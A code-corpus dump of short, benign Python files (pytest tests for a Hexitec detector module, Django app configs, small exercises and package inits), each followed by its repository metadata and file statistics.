assert return_value == -100
def test_get_asic_temperature(self):
"""Test function calculates ASIC temperatures correct."""
asic_conversions = []
asic_conversions.append((0, "0"))
asic_conversions.append((25, "190"))
asic_conversions.append((42.4375, "02A7"))
asic_conversions.append((50, "320"))
asic_conversions.append((160, "A00"))
for asic, hex_value in asic_conversions:
calculated_asic = self.test_fem.fem.get_asic_temperature(hex_value)
assert pytest.approx(calculated_asic) == asic
def test_get_asic_temperature_fails_bad_input(self):
"""Test function fails bad input."""
bad_hex_value = "25.0"
return_value = self.test_fem.fem.get_asic_temperature(bad_hex_value)
assert return_value == -100
def test_get_adc_temperature(self):
"""Test function calculates adc temperatures correct."""
adc_conversions = []
adc_conversions.append((0, "0"))
adc_conversions.append((25, "190"))
adc_conversions.append((42.4375, "02A7"))
adc_conversions.append((50, "320"))
adc_conversions.append((160, "A00"))
for adc, hex_value in adc_conversions:
calculated_adc = self.test_fem.fem.get_adc_temperature(hex_value)
assert pytest.approx(calculated_adc) == adc
def test_get_adc_temperature_fails_bad_input(self):
"""Test function fails bad input."""
bad_hex_value = "25z"
return_value = self.test_fem.fem.get_adc_temperature(bad_hex_value)
assert return_value == -100
def test_set_hexitec_config(self):
"""Test function handles configuration file ok."""
filename = "control/test/hexitec/config/hexitec_test_config.ini"
self.test_fem.fem._set_hexitec_config(filename)
assert self.test_fem.fem.bias_refresh_interval == 130.0
assert self.test_fem.fem.bias_voltage_refresh is True
assert self.test_fem.fem.time_refresh_voltage_held == 8.0
assert self.test_fem.fem.bias_voltage_settle_time == 4.0
assert self.test_fem.fem.row_s1 == 25
assert self.test_fem.fem.s1_sph == 13
assert self.test_fem.fem.sph_s2 == 57
def test_set_hexitec_config_fails_invalid_filename(self):
"""Test function fails on invalid file name."""
filename = "invalid/file.name"
with pytest.raises(ParameterTreeError) as exc_info:
self.test_fem.fem._set_hexitec_config(filename)
assert exc_info.type is ParameterTreeError
def test_extract_exponential_fails_out_of_range_value(self):
"""Test function fails on value outside of valid range of values."""
hexitec_parameters = {'Control-Settings/Uref_mid': '4,097000E+3'}
umid = self.test_fem.fem._extract_exponential(hexitec_parameters,
'Control-Settings/Uref_mid', bit_range=12)
assert umid == -1
def test_extract_exponential_fails_missing_key(self):
"""Test function fails on missing key (i.e. setting)."""
hexitec_parameters = {'Control-Settings/U___ref_mid': '1,000000E+3'}
umid = self.test_fem.fem._extract_exponential(hexitec_parameters,
'Control-Settings/Uref_mid', bit_range=1)
assert umid == -1
def test_extract_float_fails_out_of_range_value(self):
"""Test function fails on value outside of valid range of values."""
hexitec_parameters = {'Control-Settings/VCAL': '3.1'}
vcal_value = self.test_fem.fem._extract_float(hexitec_parameters, 'Control-Settings/VCAL')
assert vcal_value == -1
def test_extract_float_fails_missing_key(self):
"""Test function fails on missing key (i.e. setting)."""
hexitec_parameters = {'Control-Settings/___L': '1.3'}
vcal_value = self.test_fem.fem._extract_float(hexitec_parameters,
'Control-Settings/VCAL')
assert vcal_value == -1
def test_extract_integer_fails_out_of_range_value(self):
"""Test fails on value outside of valid range."""
hexitec_parameters = {'Control-Settings/ADC1 Delay': '-1'}
delay = self.test_fem.fem._extract_integer(hexitec_parameters,
'Control-Settings/ADC1 Delay',
bit_range=2)
assert delay == -1
def test_extract_integer_fails_missing_key(self):
"""Test function fails on missing key (i.e. setting)."""
hexitec_parameters = {'Control-Settings/nonsense': '1.3'}
delay = self.test_fem.fem._extract_integer(hexitec_parameters,
'Control-Settings/ADC1 Delay', bit_range=2)
assert delay == -1
def test_extract_boolean_fails_invalid_value(self):
"""Test function fails non-Boolean value."""
hexitec_parameters = {'Bias_Voltage/Bias_Voltage_Refresh': '_x?'}
bias = self.test_fem.fem._extract_boolean(hexitec_parameters,
'Bias_Voltage/Bias_Voltage_Refresh')
assert bias == -1
def test_extract_80_bits(self):
"""Test function correctly extracts 80 bits from 4 channels."""
vsr = 1
all_80b = [(70, 70), (70, 70), (70, 70), (70, 70), (70, 70), (70, 70), (70, 70),
(70, 70), (70, 70), (70, 70)]
params = \
{'Sensor-Config_V1_S1/ColumnEn_1stChannel': '11111111111111111111',
'Sensor-Config_V1_S1/ColumnEn_2ndChannel': '11111111111111111111',
'Sensor-Config_V1_S1/ColumnEn_3rdChannel': '11111111111111111111',
'Sensor-Config_V1_S1/ColumnEn_4thChannel': '11111111111111111111'}
channel1 = self.test_fem.fem._extract_80_bits(params, "ColumnEn_", vsr, 1, "Channel")
assert channel1 == all_80b
def test_extract_80_bits_missing_configuration(self):
"""Test function fails if any of the four channels not configured."""
vsr = 1
params = {}
channel1 = self.test_fem.fem._extract_80_bits(params, "ColumnEn_", vsr, 1, "Channel")
assert channel1[0] == (-1, -1)
params['Sensor-Config_V1_S1/ColumnEn_1stChannel'] = '11111111111111111111'
channel2 = self.test_fem.fem._extract_80_bits(params, "ColumnEn_", vsr, 1, "Channel")
assert channel2[0] == (-1, -1)
params['Sensor-Config_V1_S1/ColumnEn_2ndChannel'] = '11111111111111111111'
channel3 = self.test_fem.fem._extract_80_bits(params, "ColumnEn_", vsr, 1, "Channel")
assert channel3[0] == (-1, -1)
params['Sensor-Config_V1_S1/ColumnEn_3rdChannel'] = '11111111111111111111'
channel4 = self.test_fem.fem._extract_80_bits(params, "ColumnEn_", vsr, 1, "Channel")
assert channel4[0] == (-1, -1)
def test_extract_channel_data_fails_wrong_value_length(self):
"""Test function fails if provided value is a wrong length."""
params = {'Sensor-Config_V1_S1/ColumnEn_1stChannel': '111111111111111111'}
key = 'Sensor-Config_V1_S1/ColumnEn_1stChannel'
with pytest.raises(HexitecFemError) as exc_info:
first_channel = self.test_fem.fem.extract_channel_data(params, key)
assert first_channel is None
assert exc_info.type is HexitecFemError
assert exc_info.value.args[0] == "Invalid length of value in '%s'" % key
| 49.288755
| 125
| 0.631698
| 13,693
| 106,513
| 4.596728
| 0.057036
| 0.075497
| 0.087555
| 0.106986
| 0.84648
| 0.784138
| 0.709626
| 0.671719
| 0.646474
| 0.618448
| 0
| 0.127156
| 0.269113
| 106,513
| 2,160
| 126
| 49.311574
| 0.681319
| 0.083079
| 0
| 0.603706
| 0
| 0
| 0.10367
| 0.054009
| 0
| 0
| 0.029608
| 0
| 0.095637
| 1
| 0.059773
| false
| 0
| 0.00777
| 0
| 0.069337
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
776d77396e2128959de1af65f891593309ee33b1
| 196
|
py
|
Python
|
handcash_connect_sdk/entities/spendable_balance.py
|
krzysiekfonal/handcash-connect-sdk-python
|
bd91a4ebef32eadb4fb4631d7e17279dad6c49ee
|
[
"Unlicense"
] | 2
|
2021-07-25T06:48:12.000Z
|
2022-01-07T02:05:55.000Z
|
handcash_connect_sdk/entities/spendable_balance.py
|
krzysiekfonal/handcash-connect-sdk-python
|
bd91a4ebef32eadb4fb4631d7e17279dad6c49ee
|
[
"Unlicense"
] | 1
|
2022-01-28T03:16:54.000Z
|
2022-01-31T04:30:19.000Z
|
handcash_connect_sdk/entities/spendable_balance.py
|
krzysiekfonal/handcash-connect-sdk-python
|
bd91a4ebef32eadb4fb4631d7e17279dad6c49ee
|
[
"Unlicense"
] | 1
|
2022-01-19T04:18:06.000Z
|
2022-01-19T04:18:06.000Z
|
from attr import attrs, attrib
@attrs(slots=True)
class SpendableBalance:
spendableSatoshiBalance: int = attrib()
spendableFiatBalance: float = attrib()
currencyCode: str = attrib()
| 21.777778
| 43
| 0.734694
| 19
| 196
| 7.578947
| 0.789474
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.173469
| 196
| 8
| 44
| 24.5
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.166667
| 0
| 0.833333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
779a0e4f7b5d22582b6865121d4649a4dff7fbcd
| 100
|
py
|
Python
|
tests/apps/example/apps.py
|
opobla/dj-cloud-error
|
f91998062f136954247c2e848f217f2014d616ac
|
[
"MIT"
] | 6
|
2020-07-06T10:59:36.000Z
|
2021-09-19T19:57:05.000Z
|
tests/apps/example/apps.py
|
opobla/dj-cloud-error
|
f91998062f136954247c2e848f217f2014d616ac
|
[
"MIT"
] | 3
|
2019-10-01T02:22:49.000Z
|
2021-03-29T13:49:23.000Z
|
tests/apps/example/apps.py
|
opobla/dj-cloud-error
|
f91998062f136954247c2e848f217f2014d616ac
|
[
"MIT"
] | 1
|
2021-03-25T09:56:07.000Z
|
2021-03-25T09:56:07.000Z
|
from django.apps import AppConfig
class ExampleConfig(AppConfig):
name = "tests.apps.example"
| 16.666667
| 33
| 0.76
| 12
| 100
| 6.333333
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15
| 100
| 5
| 34
| 20
| 0.894118
| 0
| 0
| 0
| 0
| 0
| 0.18
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
77a71158451efd849cc1877ab01ff4d46b49779a
| 116
|
py
|
Python
|
src/hdmf/backends/warnings.py
|
d-sot/hdmf
|
6df64fe9f2f8163d1c688561c4a5a7ae96ae7284
|
[
"BSD-3-Clause-LBNL"
] | 25
|
2019-03-07T15:33:16.000Z
|
2022-02-16T20:03:57.000Z
|
src/hdmf/backends/warnings.py
|
d-sot/hdmf
|
6df64fe9f2f8163d1c688561c4a5a7ae96ae7284
|
[
"BSD-3-Clause-LBNL"
] | 641
|
2019-02-02T00:31:12.000Z
|
2022-03-31T18:16:54.000Z
|
src/hdmf/backends/warnings.py
|
d-sot/hdmf
|
6df64fe9f2f8163d1c688561c4a5a7ae96ae7284
|
[
"BSD-3-Clause-LBNL"
] | 16
|
2019-02-05T18:21:35.000Z
|
2022-02-14T23:37:21.000Z
|
class BrokenLinkWarning(UserWarning):
"""
Raised when a group has a key with a None value.
"""
pass
| 19.333333
| 52
| 0.637931
| 15
| 116
| 4.933333
| 0.866667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.275862
| 116
| 5
| 53
| 23.2
| 0.880952
| 0.413793
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
77aec2897da1a06d78003c896926ed4c4f4d8f75
| 151
|
py
|
Python
|
calamari_ocr/__init__.py
|
jacektl/calamari
|
980477aefe4e56f7fc373119c1b38649798d8686
|
[
"Apache-2.0"
] | 922
|
2018-07-06T05:18:22.000Z
|
2022-03-22T12:38:32.000Z
|
calamari_ocr/__init__.py
|
jacektl/calamari
|
980477aefe4e56f7fc373119c1b38649798d8686
|
[
"Apache-2.0"
] | 267
|
2018-07-14T22:10:41.000Z
|
2022-03-28T18:38:43.000Z
|
calamari_ocr/__init__.py
|
jacektl/calamari
|
980477aefe4e56f7fc373119c1b38649798d8686
|
[
"Apache-2.0"
] | 227
|
2018-07-06T07:42:16.000Z
|
2022-02-27T05:29:59.000Z
|
import os
from pathlib import Path
from calamari_ocr.version import __version__
calamari_ocr_dir = Path(os.path.dirname(os.path.realpath(__file__)))
| 21.571429
| 68
| 0.821192
| 23
| 151
| 4.913043
| 0.521739
| 0.19469
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.099338
| 151
| 6
| 69
| 25.166667
| 0.830882
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
77ca342c8b903af007d4964279e301d6a73d258f
| 54
|
py
|
Python
|
tools/addons/clean.py
|
ahmadfaizan965/battack
|
55caf2d999f47865d7529856b77c8c0b931e0e7d
|
[
"Unlicense"
] | 337
|
2020-08-15T12:22:14.000Z
|
2022-03-29T06:05:15.000Z
|
tools/addons/clean.py
|
ahmadfaizan965/battack
|
55caf2d999f47865d7529856b77c8c0b931e0e7d
|
[
"Unlicense"
] | 6
|
2020-07-19T06:11:26.000Z
|
2022-03-06T06:32:13.000Z
|
tools/addons/clean.py
|
ahmadfaizan965/battack
|
55caf2d999f47865d7529856b77c8c0b931e0e7d
|
[
"Unlicense"
] | 83
|
2020-08-15T00:22:58.000Z
|
2022-03-31T08:40:23.000Z
|
#!/usr/bin/env python3
import os
os.system("clear")
| 9
| 22
| 0.685185
| 9
| 54
| 4.111111
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.021277
| 0.12963
| 54
| 5
| 23
| 10.8
| 0.765957
| 0.388889
| 0
| 0
| 0
| 0
| 0.15625
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
7ac56b0f2dca2832e885f78bd13a8198c5dbc4ec
| 99
|
py
|
Python
|
py_tdlib/constructors/notification_type_new_call.py
|
Mr-TelegramBot/python-tdlib
|
2e2d21a742ebcd439971a32357f2d0abd0ce61eb
|
[
"MIT"
] | 24
|
2018-10-05T13:04:30.000Z
|
2020-05-12T08:45:34.000Z
|
py_tdlib/constructors/notification_type_new_call.py
|
MrMahdi313/python-tdlib
|
2e2d21a742ebcd439971a32357f2d0abd0ce61eb
|
[
"MIT"
] | 3
|
2019-06-26T07:20:20.000Z
|
2021-05-24T13:06:56.000Z
|
py_tdlib/constructors/notification_type_new_call.py
|
MrMahdi313/python-tdlib
|
2e2d21a742ebcd439971a32357f2d0abd0ce61eb
|
[
"MIT"
] | 5
|
2018-10-05T14:29:28.000Z
|
2020-08-11T15:04:10.000Z
|
from ..factory import Type
class notificationTypeNewCall(Type):
call_id = None # type: "int32"
| 16.5
| 36
| 0.737374
| 12
| 99
| 6
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.024096
| 0.161616
| 99
| 5
| 37
| 19.8
| 0.843373
| 0.131313
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
7ac5fe792f2b2da5c7ab15be7c7078c04e4735bd
| 401
|
py
|
Python
|
daily-problems/Day2/problem3_tests.py
|
jeffreycshelton/ghp-challenges
|
c19e6b9964818674502bb096fc87f32146af1ad0
|
[
"MIT"
] | null | null | null |
daily-problems/Day2/problem3_tests.py
|
jeffreycshelton/ghp-challenges
|
c19e6b9964818674502bb096fc87f32146af1ad0
|
[
"MIT"
] | null | null | null |
daily-problems/Day2/problem3_tests.py
|
jeffreycshelton/ghp-challenges
|
c19e6b9964818674502bb096fc87f32146af1ad0
|
[
"MIT"
] | null | null | null |
import unittest
from problem3 import getMaxRepetitions
class TestProblem3(unittest.TestCase):
def tests(self):
self.assertEqual(getMaxRepetitions('acb', 4, 'ab', 2), 2)
self.assertEqual(getMaxRepetitions('acb', 1, 'acb', 1), 1)
self.assertEqual(getMaxRepetitions('xyz$3', 14, '27', 3), 0)
self.assertEqual(getMaxRepetitions('a', 5, 'a', 2), 2)
unittest.main()
| 26.733333
| 68
| 0.663342
| 48
| 401
| 5.541667
| 0.520833
| 0.225564
| 0.481203
| 0.263158
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.054711
| 0.179551
| 401
| 14
| 69
| 28.642857
| 0.753799
| 0
| 0
| 0
| 0
| 0
| 0.05
| 0
| 0
| 0
| 0
| 0
| 0.444444
| 1
| 0.111111
| false
| 0
| 0.222222
| 0
| 0.444444
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7ac71301505978bcfa4396a4071be50b233e5530
| 161
|
py
|
Python
|
src/kaa/shaders.py
|
PawelRoman/kaa
|
555b8d0c06cdb1052d7adfb8f11b233e749bdda2
|
[
"MIT"
] | 1
|
2020-04-30T12:51:26.000Z
|
2020-04-30T12:51:26.000Z
|
src/kaa/shaders.py
|
PawelRoman/kaa
|
555b8d0c06cdb1052d7adfb8f11b233e749bdda2
|
[
"MIT"
] | null | null | null |
src/kaa/shaders.py
|
PawelRoman/kaa
|
555b8d0c06cdb1052d7adfb8f11b233e749bdda2
|
[
"MIT"
] | null | null | null |
from ._kaa import (
ShaderType, VertexShader, FragmentShader, Varying, VaryingType, AttributeLocation,
Program, ShaderCompiler, ShaderCompilationError
)
| 32.2
| 86
| 0.795031
| 12
| 161
| 10.583333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.136646
| 161
| 4
| 87
| 40.25
| 0.913669
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.25
| 0
| 0.25
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7ae211397122212d4396b26188e6b57819ba7e19
| 158
|
py
|
Python
|
Python training/First steps/Ex_18.py
|
tarsic99/Python_coursera
|
2748a4f0c43cc21eb4c71b9494e86bc843c8e258
|
[
"Apache-2.0"
] | null | null | null |
Python training/First steps/Ex_18.py
|
tarsic99/Python_coursera
|
2748a4f0c43cc21eb4c71b9494e86bc843c8e258
|
[
"Apache-2.0"
] | null | null | null |
Python training/First steps/Ex_18.py
|
tarsic99/Python_coursera
|
2748a4f0c43cc21eb4c71b9494e86bc843c8e258
|
[
"Apache-2.0"
] | null | null | null |
t = int(input())
h = (t // 3600) % 24
m1 = t // 60 % 60 // 10
m2 = t // 60 % 60 % 10
s1 = t % 60 // 10
s2 = t % 10
print(h, ":", m1, m2, ":", s1, s2, sep="")
| 19.75
| 42
| 0.405063
| 31
| 158
| 2.064516
| 0.451613
| 0.140625
| 0.15625
| 0.21875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.290909
| 0.303797
| 158
| 7
| 43
| 22.571429
| 0.290909
| 0
| 0
| 0
| 0
| 0
| 0.012658
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.142857
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7af0d69c9ee54ae285abaa76d84cd28e63ed14c4
| 530
|
py
|
Python
|
test_morse_code.py
|
gustavozf/morse_code
|
a53b13a4c6ec5e4fd88da7548f1f50a9a6e15deb
|
[
"MIT"
] | null | null | null |
test_morse_code.py
|
gustavozf/morse_code
|
a53b13a4c6ec5e4fd88da7548f1f50a9a6e15deb
|
[
"MIT"
] | null | null | null |
test_morse_code.py
|
gustavozf/morse_code
|
a53b13a4c6ec5e4fd88da7548f1f50a9a6e15deb
|
[
"MIT"
] | null | null | null |
import pytest
from morse_code.app import *
def test_valid_input_file():
assert main(['app.py', 'code.morse']), "Test Failed!"
assert main(['app.py', 'audio.wav']), "Test Failed!"
assert main(['app.py', 'text.txt']), "Test Failed!"
def test_invalid_input_file():
assert not main(['app.py']), "Test Failed!"
assert not main(['app.py', 'file.wv']), "Test Failed!"
assert not main(['app.py', 'file']), "Test Failed!"
assert not main(['app.py', 'file.']), "Test Failed!"
| 40.769231
| 60
| 0.584906
| 73
| 530
| 4.150685
| 0.30137
| 0.161716
| 0.207921
| 0.211221
| 0.574257
| 0.514851
| 0.349835
| 0.349835
| 0.244224
| 0.244224
| 0
| 0
| 0.211321
| 530
| 13
| 61
| 40.769231
| 0.72488
| 0
| 0
| 0
| 0
| 0
| 0.325626
| 0
| 0
| 0
| 0
| 0
| 0.636364
| 1
| 0.181818
| true
| 0
| 0.181818
| 0
| 0.363636
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7afe658a1042bfe465706a64523f1d6d77c89b24
| 227
|
py
|
Python
|
product/serializers/supplier_serializer.py
|
tp00012x/bobs_banana_stand
|
0ae167b1bb124408770924dcb3660760da2d715c
|
[
"MIT"
] | null | null | null |
product/serializers/supplier_serializer.py
|
tp00012x/bobs_banana_stand
|
0ae167b1bb124408770924dcb3660760da2d715c
|
[
"MIT"
] | 6
|
2021-03-18T22:01:48.000Z
|
2022-02-10T07:19:13.000Z
|
product/serializers/supplier_serializer.py
|
tp00012x/bobs_banana_stand
|
0ae167b1bb124408770924dcb3660760da2d715c
|
[
"MIT"
] | null | null | null |
from rest_framework import serializers
from product.models.supplier import Supplier
class SupplierSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = Supplier
fields = ('pk', 'name',)
| 22.7
| 65
| 0.740088
| 22
| 227
| 7.590909
| 0.727273
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.185022
| 227
| 9
| 66
| 25.222222
| 0.902703
| 0
| 0
| 0
| 0
| 0
| 0.026432
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
bb3b72f89666a37f9b0496ebb54b517df8956e29
| 123
|
py
|
Python
|
test_code/boj/implementation/1330.py
|
yjinheon/solve
|
f47cd19d3c81d0b16586159c754deb2ffcb31ca0
|
[
"Apache-2.0"
] | null | null | null |
test_code/boj/implementation/1330.py
|
yjinheon/solve
|
f47cd19d3c81d0b16586159c754deb2ffcb31ca0
|
[
"Apache-2.0"
] | null | null | null |
test_code/boj/implementation/1330.py
|
yjinheon/solve
|
f47cd19d3c81d0b16586159c754deb2ffcb31ca0
|
[
"Apache-2.0"
] | null | null | null |
A,B = map(int, input().split())
#A,B = 4, 10
if A > B :
print('>')
elif A < B :
print('<')
else:
print('==')
| 11.181818
| 31
| 0.422764
| 20
| 123
| 2.6
| 0.6
| 0.153846
| 0.269231
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.034483
| 0.292683
| 123
| 10
| 32
| 12.3
| 0.563218
| 0.089431
| 0
| 0
| 0
| 0
| 0.036036
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0.428571
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
bb4035275cb6805fd4e3e09a29b59c6dcbf23eb5
| 103
|
py
|
Python
|
course_http_api/apps.py
|
c-rhodes/course_portal
|
223e3d08cb6a31cdeaede972282d055d6a37b4db
|
[
"MIT"
] | null | null | null |
course_http_api/apps.py
|
c-rhodes/course_portal
|
223e3d08cb6a31cdeaede972282d055d6a37b4db
|
[
"MIT"
] | null | null | null |
course_http_api/apps.py
|
c-rhodes/course_portal
|
223e3d08cb6a31cdeaede972282d055d6a37b4db
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class CourseHttpApiConfig(AppConfig):
name = 'course_http_api'
| 17.166667
| 37
| 0.786408
| 12
| 103
| 6.583333
| 0.916667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.145631
| 103
| 5
| 38
| 20.6
| 0.897727
| 0
| 0
| 0
| 0
| 0
| 0.145631
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
bb4be4f8c14b60b5818b3db0bd646cd38576a42e
| 117
|
py
|
Python
|
tatsumaki/__init__.py
|
plasmashadow/tatsumaki
|
0f58948a61d129e1fa02fa9bbf576a02c27642e7
|
[
"BSD-2-Clause"
] | null | null | null |
tatsumaki/__init__.py
|
plasmashadow/tatsumaki
|
0f58948a61d129e1fa02fa9bbf576a02c27642e7
|
[
"BSD-2-Clause"
] | null | null | null |
tatsumaki/__init__.py
|
plasmashadow/tatsumaki
|
0f58948a61d129e1fa02fa9bbf576a02c27642e7
|
[
"BSD-2-Clause"
] | null | null | null |
from .fields import *
from .base import Document
from .connection import connect
from .exc import TatsumakiException
| 23.4
| 35
| 0.820513
| 15
| 117
| 6.4
| 0.6
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.136752
| 117
| 4
| 36
| 29.25
| 0.950495
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
bb4df3dd1cbc0ad7b55829b052860a181d070862
| 142
|
py
|
Python
|
CategoryModel/apps.py
|
ChanJLee/YLive_Server
|
a8cab5da54ed017aa8e86f31be1cb768e887df8e
|
[
"Apache-2.0"
] | null | null | null |
CategoryModel/apps.py
|
ChanJLee/YLive_Server
|
a8cab5da54ed017aa8e86f31be1cb768e887df8e
|
[
"Apache-2.0"
] | null | null | null |
CategoryModel/apps.py
|
ChanJLee/YLive_Server
|
a8cab5da54ed017aa8e86f31be1cb768e887df8e
|
[
"Apache-2.0"
] | null | null | null |
from __future__ import unicode_literals
from django.apps import AppConfig
class CategorymodelConfig(AppConfig):
name = 'CategoryModel'
| 17.75
| 39
| 0.809859
| 15
| 142
| 7.333333
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.140845
| 142
| 7
| 40
| 20.285714
| 0.901639
| 0
| 0
| 0
| 0
| 0
| 0.091549
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
